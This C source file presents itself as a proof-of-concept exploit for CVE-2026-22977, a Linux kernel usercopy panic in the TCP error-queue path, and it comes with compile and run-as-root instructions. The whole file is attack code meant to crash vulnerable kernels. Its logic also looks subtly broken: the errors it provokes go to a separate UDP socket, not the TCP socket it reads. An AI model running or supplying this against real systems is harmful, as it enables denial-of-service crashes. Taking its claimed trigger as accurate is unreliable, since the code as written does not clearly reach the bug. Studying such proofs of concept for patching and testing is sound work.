/*
* CVE-2026-22977 PoC - Linux kernel usercopy panic in sock_recv_errqueue
* This PoC demonstrates triggering the usercopy BUG when reading TCP error queue
* with CONFIG_HARDENED_USERCOPY enabled.
*
* Compile: gcc -o cve202622977_poc cve202622977_poc.c -lpthread
* Run as root: sudo ./cve202622977_poc
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <linux/netlink.h>
#define TARGET_PORT 9999
#define PAYLOAD_SIZE 100
void *trigger_error_queue(void *arg) {
int sock = *(int *)arg;
struct sockaddr_in dest;
char buffer[PAYLOAD_SIZE];
/* Setup destination for TCP connection */
memset(&dest, 0, sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_port = htons(TARGET_PORT);
dest.sin_addr.s_addr = inet_addr("127.0.0.1");
/* Send data to trigger potential ICMP error */
sleep(1);
/* Send UDP packets that will generate ICMP unreachable errors */
int udp_sock = socket(AF_INET, SOCK_DGRAM, 0);
if (udp_sock < 0) {
perror("UDP socket creation failed");
return NULL;
}
/* Send data that will be rejected - triggers error queue entry */
for (int i = 0; i < 10; i++) {
sendto(udp_sock, buffer, PAYLOAD_SIZE, 0,
(struct sockaddr *)&dest, sizeof(dest));
usleep(100000);
}
close(udp_sock);
return NULL;
}
int main() {
int sock;
struct sockaddr_in local_addr;
char cmsg_buffer[CMSG_SPACE(sizeof(struct sock_extended_err))];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
char data_buffer[1024];
pthread_t thread;
printf("CVE-2026-22977 PoC - TCP Error Queue usercopy trigger\n");
printf("Requires: CONFIG_HARDENED_USERCOPY enabled kernel\n");
/* Create TCP socket */
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("Socket creation failed");
return 1;
}
/* Enable error queue receiving */
int enable = 1;
if (setsockopt(sock, SOL_IP, IP_RECVERR, &enable, sizeof(enable)) < 0) {
perror("setsockopt IP_RECVERR failed");
close(sock);
return 1;
}
/* Bind socket */
memset(&local_addr, 0, sizeof(local_addr));
local_addr.sin_family = AF_INET;
local_addr.sin_port = htons(12345);
local_addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sock, (struct sockaddr *)&local_addr, sizeof(local_addr)) < 0) {
perror("bind failed");
close(sock);
return 1;
}
/* Setup message for receiving with error queue */
memset(&msg, 0, sizeof(msg));
iov.iov_base = data_buffer;
iov.iov_len = sizeof(data_buffer);
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg_buffer;
msg.msg_controllen = sizeof(cmsg_buffer);
msg.msg_flags = 0;
/* Start thread to trigger error conditions */
pthread_create(&thread, NULL, trigger_error_queue, &sock);
printf("Waiting for error queue data...\n");
/* This recvmsg call may trigger the usercopy BUG */
/* when skbuff_fclone_cache is accessed without whitelist */
ssize_t ret = recvmsg(sock, &msg, MSG_ERRQUEUE);
if (ret < 0) {
perror("recvmsg (error queue) failed");
} else {
printf("Received %zd bytes from error queue\n", ret);
/* Parse extended error information */
for (cmsg = CMSG_FIRSTHDR(&msg); cmsg != NULL;
cmsg = CMSG_NXTHDR(&msg, cmsg)) {
if (cmsg->cmsg_level == SOL_IP &&
cmsg->cmsg_type == IP_RECVERR) {
struct sock_extended_err *err =
(struct sock_extended_err *)CMSG_DATA(cmsg);
printf("Extended error: origin=%d, type=%d, code=%d\n",
err->ee_origin, err->ee_type, err->ee_code);
}
}
}
pthread_join(thread, NULL);
close(sock);
printf("PoC completed. Check dmesg for kernel panic if vulnerable.\n");
return 0;
}